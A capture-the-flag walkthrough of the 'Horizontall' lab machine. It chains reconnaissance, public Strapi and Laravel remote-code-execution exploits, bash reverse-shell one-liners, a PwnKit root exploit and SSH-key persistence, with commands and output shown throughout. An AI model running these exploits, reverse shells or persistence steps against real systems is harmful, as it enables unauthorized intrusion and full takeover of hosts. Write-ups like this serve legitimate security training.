First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

It looks like there is an nginx webserver running on port 80 and SSH is open on port 22. Attempting to visit the website redirects us to http://horizontall.htb, so let's add that to /etc/hosts: echo " horizontall.htb" | sudo tee -a /etc/hosts.


Running gobuster against http://horizontall.htb doesn't return any meaningful results: gobuster dir -u http://horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt.

After looking at the site source code, we find the following code segment in app.c68eb462.js (see an online JavaScript formatter, like beautifier.io to make the code readable):

methods: {
    getReviews: function() {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
            return t.reviews = s.data

Let's add this new subdomain to /etc/hosts: echo " api-prod.horizontall.htb" | sudo tee -a /etc/hosts.

Navigating to http://api-prod.horizontall.htb/ simply says "Welcome" with a page title of "Welcome to your API".


Checking Wappalyzer shows that this page is using the Strapi CMS, which describes itself as a "Open source Node.js Headless CMS."

Searching for strapi vulnerabilities using searchsploit (searchsploit strapi) shows some exploits for version 3.0.0-beta

------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                             | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)           | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)     | multiple/webapps/50239.py
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


Let's try running gobuster on the new subdomain we found: gobuster dir -u http://api-prod.horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt. This scan finds several available endpoints.

/admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60] 
/reviews              (Status: 200) [Size: 507]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]

So, it looks like we have /admin, /reviews, and /users to work with.

  • /users returns a 403 Forbidden code.

  • admin redirects us to /admin/auth/login and shows a Strapi login page.

  • /reviews returns some JSON data containing what are presumably reviews for the service this company offers: [{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}].

Thus, /admin appears to be the most promising.


We found some exploits using searchsploit earlier. So, maybe those will be helpful. We can also check snyk, which finds the same exploits plus a few more.

Let's take a look at the "Remote Code Execution (RCE) (Unauthenticated)" exploit, since it requires the least access to the system and is a RCE. We can look at the exploit script on the exploit-db website or by copying it to our home directory by running searchsploit -m 50239.py.

There is a check_version function that checks if the version of Strapi is the one with the vulnerability.

def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
        print("[-] Version mismatch trying the exploit anyway")

Apparently, the version information is public at the /admin/init endpoint. Requesting that endpoint (curl http://api-prod.horizontall.htb/admin/init) shows that the version is 3.0.0-beta.17.4, which is indeed the vulnerable version: {"data":{"uuid":"a55da3bd-9693-4a08-9279-f9df57fd1817","currentEnvironment":"development","autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}.

Let's try running the script

$ python3 50239.py
[-] Wrong number of arguments provided
[*] Usage: python3 exploit.py <URL>

Looks like we simply need to specify the URL:

$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0Nzg5MTM3LCJleHAiOjE2NDczODExMzd9.xOmEWy3K2A4eXRI01t4gmgxlmRSjCJI0v34HO9-kWTw


Trying to authenticate with the provided credentials on the /admin/auth/login page works. However, this exploit also gives us remote code execution. Trying to run whoami returns an error though since it is a blind RCE exploit.

$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

Maybe a reverse shell will work though. We can use revshells to generate a bash reverse shell. The reverse shell command is sh -i >& /dev/tcp/ 0>&1 (you can find your ip using ip a and looking under tun0) and you can start a listener with netcat by running nc -lvnp 59726, but we will use calebstewart/pwncat instead.

We can start a listener with pwncat-cs -lp 59726. Then, execute the reverse shell by running sh -i >& /dev/tcp/ 0>&1 using the RCE exploit. This doesn't work so we can try surrounding the reverse shell with bash -c: bash -c 'sh -i >& /dev/tcp/ 0>&1', which is effective.

Lateral Movement

We now have access to the strapi account over SSH. We cat /etc/passwd and see that the strapi user's home folder is /opt/strapi. There is no user.txt here so we check the developer (id 1000) user's home folder, which has the user.txt flag. We can view the user.txt flag with cat /home/developer/user.txt.

We can copy over an SSH key so that we can authenticate as the strapi user without having to reuse the exploit by running run implant.authorized_key key=/home/kali/.ssh/id_rsa within pwncat. Alternatively, the key can be manually copied over to the target machine. Now, we can reconnect with pwncat-cs strapi@ --identity /home/kali/.ssh/id_rsa.

Privilege Escalation

pwncat has some built-in escalation techniques, which we can try with escalate list -u root, but none of these work.

Within the /opt/strapi directory there is an RSA private and public key called strapi and strapi.pub, respectively. So, that might be useful.

We use the standard LinPEAS script to find potential privilege escalation paths. Pwncat makes it easy to transfer this script to the target with upload /home/kali/linpeas.sh /opt/strapi/linpeas.sh. Then, run it with bash linpeas.sh.

LinPEAS immediately tells us that the installed version of sudo is vulnerable to CVE-2021-4034, which is a very recent exploit and is not the intended solution. However, downloading berdav/CVE-2021-4034 as a ZIP file, copying the file over, unzipping it, running make in the directory, and then executing ./cve-2021-4034 opens a root shell and the root.txt flag can be obtained with cat /root/root.txt.

However, LinPEAS also shows that there are open ports on

Active Ports
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      1749/node /usr/bin/
tcp        0      0*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

3306 is the default MySQL port so that leaves 1337 and 8000 to be investigated.

Running curl shows that port 1337 simply contains the Strapi CMS page with the "Welcome" message. Running curl shows that port 8000 contains an application using the Laravel framework.

We can forward this port to our attack machine by running ssh -i /home/kali/.ssh/id_rsa -L 8000:localhost:8000 strapi@horizontall.htb. Now, navigating to localhost:8000 on the attack machine will render the webpage.

Let's try bruteforcing directories with gobuster dir -u http://localhost:8000 -t 100 -w /usr/share/wordlists/dirb/common.txt.

/.htaccess            (Status: 200) [Size: 603]
/favicon.ico          (Status: 200) [Size: 0]  
/index.php            (Status: 200) [Size: 17473]
/profiles             (Status: 500) [Size: 616206]
/robots.txt           (Status: 200) [Size: 24]

The /profiles endpoint looks interesting since it is large. We find a Laravel debug page, which means that Laravel is in debug mode. If we click "Context" we see that version 8.43.0 of Laravel is being used.

Let's see if there are any vulnerabilities for this. Using searchsploit laravel we find "8.4.2 debug mode - Remote code execution," which we can copy to our home directory with searchsploit -m 49424.py. Alternatively, one of these scripts can be used: zhzyker/CVE-2021-3129 or nth347/CVE-2021-3129_exploit.

According to the script, we need the path to the laravel log file, which we can figure out by looking at the debug mode page. The page says "Undefined variable: informat (View: /home/developer/myproject/resources/views/profile/index.blade.php)", which gives us the path to the laravel framework: /home/developer/myproject/. Searching online for the log location reveals they are stored in app/storage/logs/laravel.log. Therefore, the log path is /home/developer/myproject/storage/logs/laravel.log.

Running python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'id' displays uid=0(root) gid=0(root) groups=0(root), which means our command is executed as root. Let's use a reverse shell as a payload and open a listener on our attacker machine: python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'bash -c "sh -i >& /dev/tcp/ 0>&1"'" and pwncat-cs -lp 35965. After waiting a few seconds we get a root reverse shell.

We can get the root.txt flag with cat /root/root.txt. We can gain persistance as root with pwncat by running run implant.authorized_key key=/home/kali/.ssh/id_rsa in the local shell.

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